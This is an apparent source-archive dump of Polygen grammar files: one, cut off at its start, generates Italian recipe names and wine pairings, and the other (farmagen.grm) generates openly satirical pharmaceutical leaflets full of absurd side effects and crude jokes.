|PREALPLURF [AGGETTIVIFEMPLUR] SECONDAPARTEAL [(e|con) INGR] | SECONDAPARTE [(e|con) INGR] | ( PREDISINGF INGR e INGR |PREDISINGM INGR e INGR |PREDIPLURF INGR e INGR |PREDIPLURM INGR e INGR |PREALSINGF INGR e INGR |PREALSINGM INGR e INGR |PREALPLURM INGR e INGR |PREALPLURF INGR e INGR ) ) (---alla REG|_) ; SECONDAPARTE::= (FEMSING [PREPNEUTRE|PREPNEUTRESING] |FEMPLUR [PREPNEUTRE|PREPNEUTREPLUR] |MASCHSING [PREPNEUTRE|PREPNEUTRESING] |MASCHPLUR [PREPNEUTRE|PREPNEUTREPLUR]) ; SECONDAPARTEAL::= (alla FEMSING [PREPNEUTRE|PREPNEUTRESING] |alle FEMPLUR [PREPNEUTRE|PREPNEUTREPLUR] |(al),(allo),(all^"'"^) MASCHSING,MASCHSINGECC,MASCHSINGECC2 [PREPNEUTRE|PREPNEUTRESING] |ai,agli MASCHPLUR,MASCHPLURECC [PREPNEUTRE|PREPNEUTREPLUR]) ; INGREDIENTE::= "- "QUANTO "\n" [^INGREDIENTE] ; INGR::= INGRFS|INGRFP|INGRMS|INGRMP ; FEMSING::= trota|--pampanella|pancetta|rucola|scamorza|cicoria|caciotta|insalata [mista]|paella|platessa |ricciola|pescatrice|fontina|mozzarella|bufala|trota [salmonata]|panna [acida]|aragosta|impepata |impanata|fonduta|bagna [cauda]|tritata|imburrata|fantasia|quaglia|crescenza|polenta|--cassoeula |acetosella|zucca|cernia|sogliola|verza|lepre ; FEMPLUR::= aringhe|acciughe|olive|banane|farfalle|penne|uova|mele [cotogne]|conchiglie[^tte]|linguine|patate |puntarelle|barbabietole|verdure|ortiche|melanzane|arance|pesche|pere|prugne|noci|zucchine |mozzarelline|olive|ciliegie|mandorle|fragole|cipolle|cozze|patelle|noci [della \california] |capesante|ostriche|carote|castagne ; MASCHSING::= groviera|nero di seppia|tartufo|lardo [di \colonnata]|pecorino|capicollo|scorfano|merluzzo|pesce persico|caviale|maiale|manzo |limone|pollo|vitello|granchio|grongo|salmone|mango|branzino |prosciutto|cacio|formaggio|radicchio|brasato|emmenthal|vitellone|cappone |cappon magro|tonno|pescespada|farro|couscous|camembert|carpaccio|pesto|barolo|moscato d^"'"\asti |cinghiale|coniglio|cavolo|branzino|cavolfiore|baccala^"'"|brie'|parmigiano|pecorino|grana|polpo|gorgonzola|capretto ; MASCHSINGECC::= zampone|struzzo|speck|zenzero|zabaione|stoccafisso|zafferano|lardo [di \colonnata] ; MASCHSINGECC2::= astice|emmenthal|orzo|olio|ostrica|aglio|ananas|agro ; MASCHPLUR::= fagioli|fagiolini|moscardini|gamberetti|carciofi|porri|sedanini|capperi|pistacchi|porcini|galletti|peperoni|piselli|fiori di zucca |moscardini|pomodori|peperoni|lamponi|pinoli|porri|wurstel|ceci|gamber^[ett^]i|--pizzoccheri|fichi|ravanelli|totani |cavoletti di \bruxelles|finocchi|funghi|porcini|champignons ; MASCHPLURECC::= hamburger|scampi|spinaci ; INGRFS::= farina [bianca|gialla|integrale|di farro|di grano tenero]|semola di grano duro |panna [da cucina|da montare|liquida|fresca|vegetale] |carne di CARNE [macinata]|ricotta [piemontese|vaccina|di pecora|romana] |salsa di soia|mollica di pane|radice di zenzero [fresco|secco] |noce moscata|margarina|cannella [in polvere] |FRUTTA|erba cipollina|besciamella|peara' |pasta (frolla|sfoglia|brisee|fillo) [pronta|fresca|surgelata|in rotolo] |gelatina in fogli|pancetta [tesa] [--tagliata in una sola fetta] |colla di pesce|noce di cocco [grattugiata] [disidratata]|[foglie di]menta [fresca] |maggiorana|--jevezarola|--sangria|maizena|menta|sogliola|patate novelle|crescenza |crema (pasticcera|chantilly|al limone)|--nutella|pancetta [a dadini]|cannella|curcuma|glassa pronta|maionese |polpa di granchio|salsa \worcester|paprika dolce|lonza|salvia|crescenza|polenta|mortadella|mortazza |rucola|birra|rughetta|fontina|cernia ; INGRFP::= aringhe|alici|mele|pere|cipolline|cime [--------tempestose] di rapa|taccole|meringhette [mignon] [gia^"'"pronte]|olive [verdi|nere|taggiasche|di \gaeta|\kelemata|greche|piccanti] |cipolle [rosse|bionde|di \tropea]|focaccine|mezze penne|erbe selvatiche |mandorle [tostate|spellate|tritate [finemente|grossolanamente]]|coste di rabarbaro |lenticchie [rosse|verdi]|cialde pronte|pesche sciroppate|patate [a pasta gialla|con la buccia rossa|farinose]|noci [della \california]|----pastiglie \valda ; INGRMS::= toma d^"'"alpeggio|polipo|gorgonzola|grana padano|zucchero [semolato|--in granella|a velo]|tabacco|ketchup|parmigiano reggiano |vino [bianco|bianco secco|rosso|rose^"'"|d^"'"annata]|aceto [di vino rosso|di vino bianco|balsamico|di \modena|di mele] |burro|strutto|formaggio [fresco|primo sale|tipo \toma|grattugiato|da spalmare|magro|stagionato]|pecorino [sardo|romano|al pepe]|lievito [in polvere] |sedano|pancarre^"'"|aglio|prosciutto [crudo|cotto|--di cervo] [--tagliato in una sola fetta] |caciocavallo [grattugiato]|pan di \spagna [pronto] [tagliato a fette]|cacao [magro]|cioccolato [bianco|al latte|fondente|nocciolato] |brodo [vegetale|di pollo|di carne|di pesce]|fumetto di pesce|yogurt [magro|greco|intero] |cumino|basilico|prezzemolo|curry|dragoncello|aglio|rosmarino|sale grosso|sale fino|salame |miele (d^"'"acacia|di castagno|di agrumi|millefiori|di lavanda|di corbezzolo|di fiori d^"'"arancio) |--calvados|--chorizo|cicorino|cocco|salmone|merluzzo|quartirolo|timo|rabarbaro|gelato |pecorino giovane|pangrattato|\martini secco|coriandolo [(in grani|in polvere)]|olio [--per friggere]|riso parboiled|pure'|caviale |pepe [verde|di cayenna|verde|rosso|bianco] [in grani]|albume d^"'"^uovo|cognac|branzino|cavolfiore|--sake^"'" |caffe'|dado [(\star|\liebig)]|latte|alloro|--tarassaco ; INGRMP::= scalogni|porri|semi di papavero|capperi [sotto sale|dissalati]|piselli [sgranati]|peperoni [gialli|rossi] |frutti di bosco [misti] [^"("^fragole^","ribes^","lamponi^","mirtilli^","more^")"] |fagioli [canellini|borlotti] [in scatola]|scalogni|asparagi|maltagliati |spaghetti|strichetti|galletti|sottaceti|calamari|pistacchi|ceci|gamber^[ett^]i |datteri|fiori di zucca ; QUANTPLURM::= spicchi|ciuffi|cucchiai[^ni]|bicchieri|rametti|pezzetti|cuori|cespi|chicchi ; QUANTPLURMNODI::= piccoli|grossi ; QUANTSINGM::= spicchio|ciuffo|mazzetto|pugno|cucchiai[^n]^o|dl|bicchiere|pizzico|rametto|pezzetto |cuore|cespo|tubetto|po^"'" ; QUANTSINGMNODI::= grosso|piccolo ; QUANTSINGF::= bustina|macinata|fetta|manciata|scatola|costa|stecca|testa|confezione ; QUANTSINGFNODI::= piccola|grossa ; QUANTPLURF::= bustine|fette|manciate|scatole|coste|stecche|teste|scaglie|confezioni ; QUANTPLURFNODI::= piccole|grosse ; QUANTCFR::= due|tre|quattro|cinque|sei|sette|otto ; QUANTNUM::= 10|20|50|80|100|125|150|175|200|250|300|400|500 ; QUANTO::= (QUANTNUM grammi di | (QUANTCFR QUANTPLURM di|un QUANTSINGM di|una QUANTSINGF di|QUANTCFR QUANTPLURF di)) INGR | --(QUANTCFR QUANTPLURMNODI INGRMP|un QUANTSINGMNODI INGRMS|una QUANTSINGFNODI INGRFS|QUANTCFR QUANTPLURFNODI INGRFP) ; IN::= in crosta di|in salsa di|in letto di|con guarnizione di|con salsa di|alla crema di|al sapore di|all^"'" aroma di|al sapore di ; AGGETTIVIFEMSING::= arrostita|fredda|ricca|cremosa|raffinata|farcita|classica|esotica|ricoperta|meringata|rustica|croccante|tropicale|goduriosa|ricciolina|morbida|grigliata|mantecata|golosa|tradizionale|dorata|caramellata|\waldorf|integrale|trifolata ; AGGETTIVIFEMPLUR::= arrostite|fredde|ricche|cremose|raffinate|farcite|classiche|esotiche|ricoperte|meringate|rustiche|croccanti|tropicali|goduriose|riccioline|morbide|grigliate|mantecate|golose|tradizionali|dorate|caramellate|\waldorf|integrali|trifolate ; AGGETTIVIMASCHSING::= arrostito|freddo|ricco|cremoso|raffinato|farcito|classico|esotico|ricoperto|meringato|rustico|croccante|tropicale|godurioso|ricciolino|morbido|grigliato|mantecato|goloso|tradizionale|dorato|caramellato|\waldorf|odoroso|integrale|trifolato ; AGGETTIVIMASCHPLUR::= arrostiti|freddi|ricchi|cremosi|raffinati|farciti|classici|esotici|ricoperti|meringati|rustici|croccanti|tropicali|goduriosi|trifolati|ricciolini|morbidi|grigliati|mantecati|golosi|tradizionali|dorati|caramellati|\waldorf|integrali ; AGGETTIVINEUTRI::= stuzzicante|in rosso|rinfrescante|da dessert|fantasia ; SOTT::= sott^"'"aceto|sott^"'"olio|sotto sale ; REG::= sammarinese|calabrese|siciliana|molisana|emiliana|pugliese|napoletana|romana|milanese|genovese|marchigiana |mugnaia|marinara|pizzaiola|nizzarda|ragusana|cacciatora|rustica|tartara|carriola|carrozza|puttanesca |contadina|russa|francese|cubana|veneta|chitarra|livornese|diavola|--acqua pazza|creola|ateniese|cipriota ; FRUTTAFEMSING::= mela|pera|pesca|arancia|banana|albicocca|prugna [della \california]|uva [nera|bianca]|ciliagia|mora |susina ; FRUTTAFEMPLUR::= mele [cotogne]|pere|pesche|arance|banane|albicocche|prugne [della \california]|nocciole|ciliege|more|sunine ; FRUTTAMASCHSING::= mango|avocado|melograno|[la buccia di un] limone [non trattato]|ribes|cocco|noce|melone|cocomero |fico ; FRUTTAMASCHPLUR::= mango|avocado|melograni|gherigli di noce ; FRUTTA::= (una [grossa|piccola] FRUTTAFEMSING [acerba|matura|molto matura|poco matura]|NUMPLUR [grosse|piccole] FRUTTAFEMPLUR [acerbe|mature|molto mature |poco mature]|un FRUTTAMASCHSING [acerbo|maturo|molto maturo|poco maturo]|NUMPLUR FRUTTAMASCHPLUR [acerbi|maturi|molto maturi|poco maturi]) ; NUMPLUR::= due|tre|quattro|cinque|sei|sette|otto|nove ; CARNE::= pollo|agnello|coniglio|manzo|maiale|struzzo|tacchino|vitello ; INGRFINALI::= "- "sale [quanto basta]|"- "pepe [quanto basta]|"- "olio extravergine d'oliva [quanto basta] ; PREPGENERE::= brasat|lessat|fritt ; PREPNEUTRESING::= (filante|croccante|piccante|--arlecchino|----gran gourmet|in gelatina)|_ ; PREPNEUTREPLUR::= (filanti|croccanti|piccanti|aulenti|--arlecchino|----gran gourmet|in gelatina)|_ ; PREPNEUTRE::= a bagnomaria|in umido|in glassa|all^"'"\agro|in salsa [piccante]|misto mare|al cartoccio|alla brace|in forma|in zuppa|in agrodolce|al forno|in crosta di INGR|flambe^"'"|--frattau|arlecchino|in camicia|con INGR|al sapore di INGR|in letto di INGR ; PREDISINGM::= (lesso|brasato|souffle'|sformato|budino|stufato|bollito|arrosto|spezzatino|brodo [----primordiale]|cartoccio|magatello|carpaccio|crumble|polpettone |[cuore di] budino|--vincisgrassi|tortino|spezzatino|pate'|--sartu'|dolce|minestrone|caciucco|filetto |capriccio|consomme'|sanguinaccio|sorbetto|braciolone|--potage|aspic) ; PREDISINGF::= (quenelle|vellutata|dadolata|passata|ribollita|tartara|zuppa|bistecca|insalata|crema|tortiera|salsa|teglia|torta [rovesciata]|crostata|fonduta|piadina |mousse [delicata]|mousse|zuppetta|mattonella|frittata|saute^"'"|ciambella|bavarese|confettura|tortina |minestra|tagliata|pizza|lingua|trippa|cervella|pastiera|meringata|glassa|gelatina|salsiccia|gelatina|[s]^padellata) ; PREDIPLURM::= (canestrini|maltagliati|calcioni|medaglioni|crostoni|bocconcini|filetti|spiedini|bastoncini|pacchetti|involtini|biscotti[^ni]|vol^"-"^au^"-"^vent |gnocchi|sformatini|tortellini|panzerotti|saltimbocca|toast|ravioli|arancini|fegatini|cuoricini) ; PREDIPLURF::= (coppe|scaloppine|polpettine|delizie|tartine|cocottine|tartellette|medaglie|brioches|frattaglie|praline|salsicce) ; PREALSINGF::= (peperonata|panna cotta|frittura|sfoglia|sfogliata|farinata|millefoglie|frittata|cheesecake|padellata|teglia|tiella|pizza|pastiera|braciola[^ta]|fiorentina|--sinfonia) ; PREALSINGM::= (pollo|vitello|manzo|tacchino|agnello|capretto|stracotto|timballo|risotto|pudding|pasticcio|rotolo|strudel|semifreddo|arrosto|--caciucco|spezzatino|rognone|pate'|pure'|--moussaka) ; PREALPLURF::= (uova|frattaglie|trofie|striscioline|orecchiette|pappardelle|lasagne|linguine|[mezze] penne|pennette|bavette|rasagnole) ; PREALPLURM::= (lumaconi|canederli|strozzapreti|--finferli|panini|bigne^"'"|coni|[mini]^sandwich|profiteroles|saltimbocca|stracci|spaghetti|maccheroni|maccheroncini|fusilli|bigoli|ravioli|tortelli|tortellini|tortiglioni|torciglioni|bucatini|gnocchi|conchiglioni|fusilli|sedanini|maltagliati|calzoni|gnocchetti) ; COMMENTO::= (COSTRUTTI^","CONCLUSIONI)|AUTOCONCLUSIVI ; AUTOCONCLUSIVI::= ricc^(hi,he,a,o) di proprieta^"'" nutritive^","ti ricaric^(ano,ano,a,a) di energia |mangiare sano|anche l^"'"occhio vuole la sua parte |(COMMPLURM e COMMPLURM),(COMMPLURF e COMMPLURF),(COMMSINGM e COMMSINGM),(COMMSINGF e COMMSINGF) ti ricarica(no,no,_,_) di energia |un amico in cucina |tanto gusto^","niente lische |un (antipasto|primo|secondo|dessert|contorno) molto speciale |scopritel^(o,a,e,i) accompagnat^(o,a,e,i) da un buon bicchiere |da preparazione tipica della cucina REG a pezzo forte della cucina internazionale |una ricetta facile ma di effetto^"," impreziosita da (tanti INGRMP|tante INGRFP) |(due|tre|quattro) strati di sapore|una saporita scorta di stagione |irresistibile e talmente COMMSINGM|COMMSINGF |un classico intramontabile e irresistibile |i profumi dei nostri litorali |il grande protagonista dell^"'"estate e^"'" sempre il benvenuto a tavola |la tradizionale ricetta della nonna |i sapori di una volta ; COSTRUTTI::= un tocco (di fantasia|mediterraneo) |ingredienti COMMPLURM ^[","COMMPLURM] [e COMMPLURM] |un COMMSINGM dessert (estivo|autunnale|primaverile|invernale) ; CONCLUSIONI::= da assaporare con la bottiglia giusta |per uno dei piatti STAG^i per eccellenza |perfett^(o|a|i|e) per un invito |ottim^(o|a|i|e) da preparare in anticipo |per una cena sotto le stelle[^","COMMSINGF e COMMSINGF] |da gustare senza rimorsi |per un (pranzo|invito) (speciale|stellare|diverso|da provare) |per un COMMSINGM dessert a sorpresa |per un piatto scenografico ma facile da preparare |con (una marcia|quel qualcosa|quel tocco) in piu^"'" |ideal^(i|e) per l^"'"^(estate|inverno|autunno) |con tutta la ricchezza del sapore mediterraneo |per un^"'"^esplosione di sapori ; STAG::= estiv|invernal|autunnal|primaveril ; COMMPLURM::= semplici|genuini|sfiziosi|irresistibili|estivi|insoliti|freschi^["ssimi"] |morbidi|gustosi|pratici|buonissimi|tipici|golosi|ricchi ; COMMSINGM::= semplice|genuino|sfizioso|irresistibile|estivo|insolito|fresc^["hissim"]^o |morbido|gustoso|pratico|tipico|goloso|ricco ; COMMSINGF::= semplice|genuina|sfiziosa|irresistibile|estiva|insolita|fresc^["hissim"]^a |morbida|gustosa|pratica|tipica|golosa|economica|veloce|ricca ; COMMPLURF::= semplici|genuine|sfiziose|irresistibili|estive|insolite|fresc^["hissim"]^e |morbide|gustose|pratiche|tipiche|golose|economiche|veloci|ricche ; VINO ::= (per accompagnare il piatto^"," Cons|(lo chef|il sommelier) Sugg|(accompagnamento|compagno) ideale di questo piatto e^"'"|per quanto riguarda il vino^"," Cons|accosteremmo a questo piatto|in compagnia di questo piatto^","(e^"'"d^"'"^obbligo|non (++puo^"'"|fate)[assolutamente]mancare)) un \P2 P3 [del_,dell^ "'"^ANNO,ANNO2|annata 19^(ANNO|ANNO2)]^"," CAR1 (alla lingua|al palato)^"," ((con un|dal) caratteristico|(con un|dal) tipico| (con un|dall'^)inconfondibile|(con un|dal)) (retrogusto|sentore|aroma|profumo|bouquet) CAR2 ; Cons ::= consigliamo|raccomandiamo|ci vuole|bisogna innaffiare con|caldeggiamo|e' d'obbligo|si consiglia|suggeriamo ; Sugg ::= consiglia|raccomanda|--caldeggia|suggerisce|invita ad abbinare ; ANNO ::= 10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|90|91|92|93|94|95|96|97|98|99 ; ANNO2 ::= 80|81|82|83|84|85|86|87|88|89 ; CAR1 := P1 ; CAR2 := P1 ; P1 ::= rosato|rosso|bianco|verde|amarone|secco|abboccato|acerbo|acido|acidulo|acquoso|agliaceo|alcolico|allampante |amabile|amaro|aromatico|asciutto|aspro|austero|ben caratterizzato|bouchonne'|brillante|bruciante|di carattere |carnoso|chiuso|consistente|corposo|crudo|cuvee|debole|decrepito|delicato|disarmonico|distinto|dolce|dorato |duro|effervescente|equilibrato|erbaceo|etereo|evanescente|evoluto|feccioso|fiacco|fine|fiorito|fradicio |franco|fresco|frizzante|fruttato|fume'|generico|generoso|giovane|goudron|gradevole|grasso|gustoso|incisivo |incolore|intenso|leggero|legnoso|limpido|liquoroso|luminoso|maderizzato|magro|marcato|marsalato|maturo |mieloso|moire'|morbido|muschiato|nervoso|neutro|novello|nuance|odoroso|oleoso|onesto|opaco|ossidato|pallido |passito|pastoso|persistente|pesante|pieno|possente|profumato|pungente|ricco|rigido|rotondo|rustico|salmonato |sapido|scarno|severo|sincero|soave|sofisticato|solido|tagliato|tenero|torbido|untuoso|uvaceo|velato|vigoroso |vinoso|vivo|zuccheroso ; P2 ::= donnafugata|nero|controguerra|montepulciano|trebbiano|bivongi|ciro'|donnici|greco di \bianco|lamezia|melissa|pollino|san \vito di \luzzi |savuto|scavigna|verbicaro|lambrusco|pagadebit|reggiano|sangiovese|cesanese|barbera|vernaccia|verdicchio|brachetto |bianchello|barolo|barbaresco|cortese|erbaluce|grignolino|malvasia|nebbiolo|ruche'|cacc'e mmitte|moscato |verduno|primitivo|rosso|lacrima di \morro|cannonau|giro'|monica|nasco|nuragus|vermentino|cerasuolo|barco \reale |brunello|chianti|soave|bardolino|monteregio|vin \santo|vino \nobile|prosecco|recioto|rossese|passito|morellino |moscadello|tocai|torbato|brezza|brunello|cabernet|casteller|corvo \rosso|donna \marzia|falanghina|fiano |frascati|gavi|marzemino|pinot|refosco|schiopettino|taurasi ; P3 ::= d'^\avola|d'^\abruzzo|d'^\aglianico del \taburno|d'^\aversa|dei \campi \flegrei|di \capri|di \castel \s.\lorenzo|del \cilento |della \costa d'\amalfi|di \falerno del \massico|di \fiano di \avellino|del \galluccio|di \guardia \sanframondi|d'^\ischia |della \penisola \sorrentina|del \sannio|di \sant'\agata dei \goti|di \solopaca|del \taburno|di \taurasi|del \vesuvio |di \albana di \romagna|del \bertinoro|di \bosco \eliceo|di \cagnina di \romagna|dei \colli \bolognesi |dei \colli di \faenza|dei \colli di \imola|dei \colli di \parma|dei \colli di \rimini |dei \colli di \scandiano e di \canossa|dei \colli \piacentini|di \sorbara|di \grasparossa di \castelvetro |di \salamino di \s.\croce|di \romagna|di \romagna \albana|dei \colli orientali del \friuli|di \collio \goriziano |\friuli \annia|\friuli \aquileia|\friuli\grave|\friuli \isonzo|\friuli \latisana|di \gradoli|di \aprilia |di \atina|dei \castelli \romani|di \cerveteri|di \piglio|di \affile|di \olevano \romano|del \circeo|dei \colli \albani |dei \colli \etruschi \viterbesi|dei \colli della \sabina|dei \colli \lanuvini| \cori|di \montefiascone|di \frascati |di \genazzano|d'^\orvieto|di \tarquinia|di \velletri|di \vignanello|di \zagarolo |delle \cinque \terre|dei \colli di \luni |delle \colline di \levanto|del \golfo del \tigullio|della \riviera \ligure [di ponente]|di \dolceacqua|di \botticino |di \capriano del \colle|di \cellatica|della \franciacorta|del \garda [\colli \mantovani]|del \mantovano|della \lugana |dell'\oltrepo' \pavese|della \riviera del \garda [bresciano]|di \san \colombano al \lambro|di \s.^\martino della \battaglia |delle \terre di \franciacorta|di \valcalepio|della \valtellina [\superiore]|del \metauro|dei \colli \maceratesi |dei \colli \pesaresi|di \esino|del \falerio dei \colli \ascolani|del \conero|di \piceno|dei \castelli di \jesi |di \matelica|di \serrapetrona|di \biferno|del \molise|di \pentro di \isernia|d'^\alba|d'^\asti|del \monferrato |d'^\acqui|di \bramaterra|del \canavese|di \carema|dei \colli \tortonesi|della \collina \torinese|delle \colline \novaresi |delle \colline \saluzzesi|dell'^\alto \monferrato|delle \coste della \sesia|delle \langhe \monregalesi |di \diano d'^\alba|di \dogliani|di \ovada|di \caluso|di \fara|di \chieri|di \gabiano|di \gattinara|di \gavi|di \ghemme |di \lessona|di \loazzolo|di \casorzo d'^\asti|di \castelnuovo \don \bosco|del \piemonte|del \pinerolese|di \roero |di \castagnole \monferrato|di \sizzano|si \valsusa|di \palaverga|di \puglia|d'^\alezio|di \brindisi|di \lucera|si \castel del \monte |di \copertino|di \galatina|di \gioia del \colle|di \gravina|di \leverano|di \lizzano|di \locorotondo|di \martina \franca |di \trani|di \nardo'| di \orta \nova|di \ostuni|di \manduria|di \barletta|di \canosa|di \cerignola|di \salice \salentino |di \san \severo|di \squinzano|di \alghero|di \arborea|di \campidano di \terralba|di \sardegna|del \sulcis|di \cagliari |di \bosa|di \mandrolisai|di \sorso \sennori|di \gallura|di \oristano|di \alcamo|di \vittoria|di \eloro|dell'\etna|di \faro |delle \lipari|di \marsala|di \menfi|di \noto|di \pantelleria|di \siracusa|di \sicilia|di \santa \margherita di \belice |di \sciacca|della \valle del \belice|della \costa dell'\argentario|di \carmignano|della \valdinievole|dell'^\empolese |di \pitigliano|di \s.\torpe'|di \bolgheri|di \montalcino|dei \colli \apuani|di \carmignano|del \chianti|dei \colli dell'^\etruria [centrale] |dei \colli di \luni|delle \colline \lucchesi|di \cortona|d'^\elba|di \montecarlo|di \montecucco|di \massa \marittima |di \montescudaio|di \scansano|di \montalcino|di \orcia|di \parrina|di \pomino|di \montepulciano|di \san \gimignano |di \sant'\antimou'|di \sovana|di \val d'^\arbia|di \valdichiana|di \val di \cornia|di \altbagnoli di \sopra |di \bardolino|di \custoza|di \breganze|dei \colli \berici|dei \colli di \conegliano|dei \colli \euganei|di \gambellara |del \garda|dei \monti \lessini|di \pramaggiore|della \lugana|di \montello e \colli \asolani|di \conegliano \valdobbiadene |della \valpolicella|di \soave|della \valdadige|della \valpolicella|dell'^\adige|di \casteller|del \lago di \caldaro |del \trentino|di \trento|della \valdadige ;polygen-1.0.6.ds2/grm/ita/farmagen.grm0000644000175000017500000006740310340417034017041 0ustar enricoenricoI ::= "title: Prontuario Farmaceutico\n" ^ "author: E.R. Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: gentalyn beta\n" ^ "topic: salute\n" ^ "disclaim: approvato dall'Associazione Italiana Medici" \ (dent|+naz|estet|pod|+tass|fasc|budd|alcol|+nud |+esorc|call|gomm|+tepp|ottim|radiotelegraf)^isti "\n" ^ "warning: prima dell'uso leggere attentamente il foglietto illustrativo\n" ^ "created: 24/10/2004" ; S ::= ST.html ; (* output html -- codice su singola riga *) T ::= ST.text ; (* output plain text formattato -- polygen farmagen.grm -S T *) ST ::= FarmacoT.reg.type NL2 Descrizione NL2 ComposizioneT NL2 AvvertenzeT NL2 ; (* output dei soli farmaci *) Farmaco ::= FarmacoT.text.noreg.type.; (* ES: Defloril forte *) FarmacoHtml ::= FarmacoT.html.noreg.type.; (* ES: Defloril forte *) NomeFarmaco ::= FarmacoT.text.noreg.notype.; (* ES: Defloril *) (* gestione CSS *) BIG ::= ( text: _ | html: "" ^ ) ; BIGc ::= ( text: _ | html: ^"" ) ; MED ::= ( text: _ | html: "" ^ ) ; MEDc ::= ( text: _ | html: ^"" ) ; SERIF ::= ( text: _ | html: "" ) ; SERIFc ::= ( text: _ | html: "" ) ; SMALL ::= ( text: _ | html: "" ^ ) ; SMALLc ::= ( text: _ | html: ^"" ) ; BOLD ::= ( text: _ | html: "" ^ ) ; BOLDc ::= ( text: ^":" | html: ^"
    " \ ) ; REG ::= (noreg:_ | reg: ( text: _ (*"(R)"*) | html: "®" ) ); Descrizione ::= SERIF \ ( ( -- preparat O | [ psico ^ ]farmac HO | medicin ^ (o:ale|a:a|i:ali|e:e) | -- placebo | ----- ( lass | sed ) ^ ativ O | --- stupefacent E | -- vaccin ^ (o:o|a:o|i:i|e:i) [antinfluenzal E]) ( Antiallergico | Analgesico [ Antiallergico ] ) | Analgesico [ Antiallergico ] ).o P NL \ ( util ^ ( e | issimo ) ( -------------- nel doping | ( nel trattamento | nella cura ) (de ^ Patologia.prep | di molte (_|----psico^)patologie V DaA) ) | ( combatte | contrasta | debella ) ( Patologia.art [ V ma anche Patologia.no Patologia.cong ] | Patologia.art e Patologia.art | [ varie forme di ] Patologia.no V Patologia.no [ V Patologia.no ] Patologia.cong | un ^ ( a vasta | 'ampia ) gamma di (_|----psico^)patologie V DaA ) | ----- favorisce ( la diuresi | l'eiaculazione | la ricrescita dei cape^(zzo|l)^li ) ) P SERIFc ; DaA ::= tra cui Patologia.art e [persino] Patologia.art | da ^ Patologia.prep a ^ Patologia.prep [ V cura,utile ( anche | persino ) ( Patologia.art ),( ( in ( [alcune] forme | casi ) [ gravi ] di Patologia.no | nel trattamento de ^ Patologia.prep ) ) ] ; AvvertenzeT ::= SMALL ( --- BOLD \ avvertenze ^ BOLDc ( ( q: PuoProvocare P (w:NL \) ) ( w: NonSomministrare P ) ).( q | w ).( q | w ) | BOLD \ ( effetti >( +++ collaterali | indesiderati ) ) ^ BOLDc ( ------------------- [ tuttora ] ( sconosciuti | ignoti ) | ( secchezza delle ( feci | ++++ fauci ) | +++++ Patologia.no ) [ V Patologia.no ] [ V ( _ | ---- episodi acuti di ) Patologia.no ] [ V Talora ] ) P ) SMALLc ; Talora ::= ( talora | talvolta | meno spesso | di rado | quasi mai | +++ ( rara | occasional ) ^ mente ) ( Patologia.art | ( l'atrofizzazione | ---- la frammentazione | il distacco [ improvviso | violento | temporaneo ] | >( la caduta | --- l'esplosione ) [ improvvisa ] | lo schiacciamento | --- la combustione spontanea ) del ( sacco scrotale | tronco encefalico | sistema nervoso centrale | ^ la retina | ( testicolo | braccio ) ( destro | sinistro ) | pene | clitoride | ^ la calotta cranica | ^ l'ampolla rettale | ^ la colonna vertebrale | cuoio capelluto | ^ la chiostra dentaria | glande | prepuzio | ^ la spina dorsale ) ) ; PuoProvocare ::= [ in ( soggetti | pazienti ) ( [ particolarmente ] ( cirrotici | allergici | anziani | omosessuali | impressionabili | borderline | psichiatrici ) | con Patologia.no | affetti da ^ Patologia.prep ) | in alcuni ( casi | pazienti ) | durante la gravidanza [ e l'allattamento ] ] pu ^ OC ( provocare | causare ) ( [ forme [ leggere ] di ] Patologia.no [V Patologia.no] Patologia.cong [ o anche ( _ | ---- episodi acuti di ) Patologia.no ] | ( un [ fort ^ ( e | issimo ) ] ( ++ aumento | abbassamento ) | una [ fort ^ ( e | issima ) ] ( +++ diminuzione | alterazione ) ) de ^ ( ll'ematocrito | ++ l quoziente intellettivo | lla libido | lla pressione ( arteriosa | intraoculare | intestinale ) | i gas ( intestinali | esofagei ) | lla capacit ^ AC cranica | l cerume | l colesterolo | lla gittata eiaculospermatica ) | la completa ( +++ occlus | ostruz ) ^ ione del ( ^ la trachea | ^ l'esofago | duodeno | colon | ^ la vagina | ^ l'intestino ) | il ( blocco | riavvio ) del sistema operativo ) [ V Talora ] ; NonSomministrare ::= + non somministrare a ( bambini | ^ d anziani | ---- ^ d adulti ) ( sotto | sopra | di et ^ AC ( sup | inf ) ^ eriore a ^ ) i ( ------- _ | (1|2|3|4|5|6|7|9) ^ )(2|3|4|+5|6|7|9) anni | evitare l'uso prolungato [ V pu ^ OC dare assuefazione ] | + aerare il locale prima di soggiornarvi | non EC un medicinale V non usare con cautela (* creditz: Francesco Salvi *) | --- se applicato nella zona pubica favorisce ( le piattole | la [ perdita della ] verginit ^ AC | i parassiti | la flora [ e la fauna ] batterica | le mestruazioni [ maschili ] | l'inversione sessuale | l'orgasmo | l'onanismo ) | in caso di ( contatto | in[^di]^gestione ) consultare un ( +++ medico | esorcista | medium | impresario delle pompe funebri ) | pu ^ OC talora ( violare i principi della bioetica | far acquisire immunodeficienza | alterare il patrimonio genetico ) | ( non somministrare | da non impiegarsi | somministrare con cautela ) in ( caso di Patologia.no | associazione con altri Analgesico.i "(" ^ Farmaco in particolare ^ ")" ) ; Analgesico ::= >( >( analges | anestet | ansiolit ) ^ ic HO | anabolizzant E | afrodisiac HO | anti ^ >( ( artrit | asmat | psicot | batter | diarro | elmint | malar | micot | piret | reumat | sett | biot | stamin | dolorif ) ^ ic HO | >( congestionant | ossidant | viral | concezional ) E | depressiv O | nfiammator IO ) ) | >( corticosteroide O | decongestionant E | disinfettant E | emollient E | >( diuret | mucolit | cardioton ) ^ ic HO | (vaso|ano)^dilata TORE ) | >( steroide O | stimolant E ) ; Antiallergico ::= anti ^ >( allergic HO | aggregant E | emorroidal E ) | >( dermato | gineco | uro ) ^ logic HO | >( galen | immunoterap | piastrin | tricicl | omeopat | ayurved ) ^ ic HO | reidratant E | allucinogen O | ad azione >( centrale | locale | prolungata | rapida | irreversibile ) | per >( le mani | la vagina | la zona lombare | clisteri | l'igiene intima ) | intestinal E | vaginal E | anal E | rettal E | [ per ( uso | il trattamento [ orale e ] ) ] >( intestinale | vaginale | anale | rettale ) | per uso >( + ludico | ++ topico | locale | ginecologico | esterno | sistemico ) | a base di Sostanza. ; O ::= ^ ( o: o | a: a | i: i | e: e ); HO ::= ^ ( o: o | a: a | i: i | e: he ); E ::= 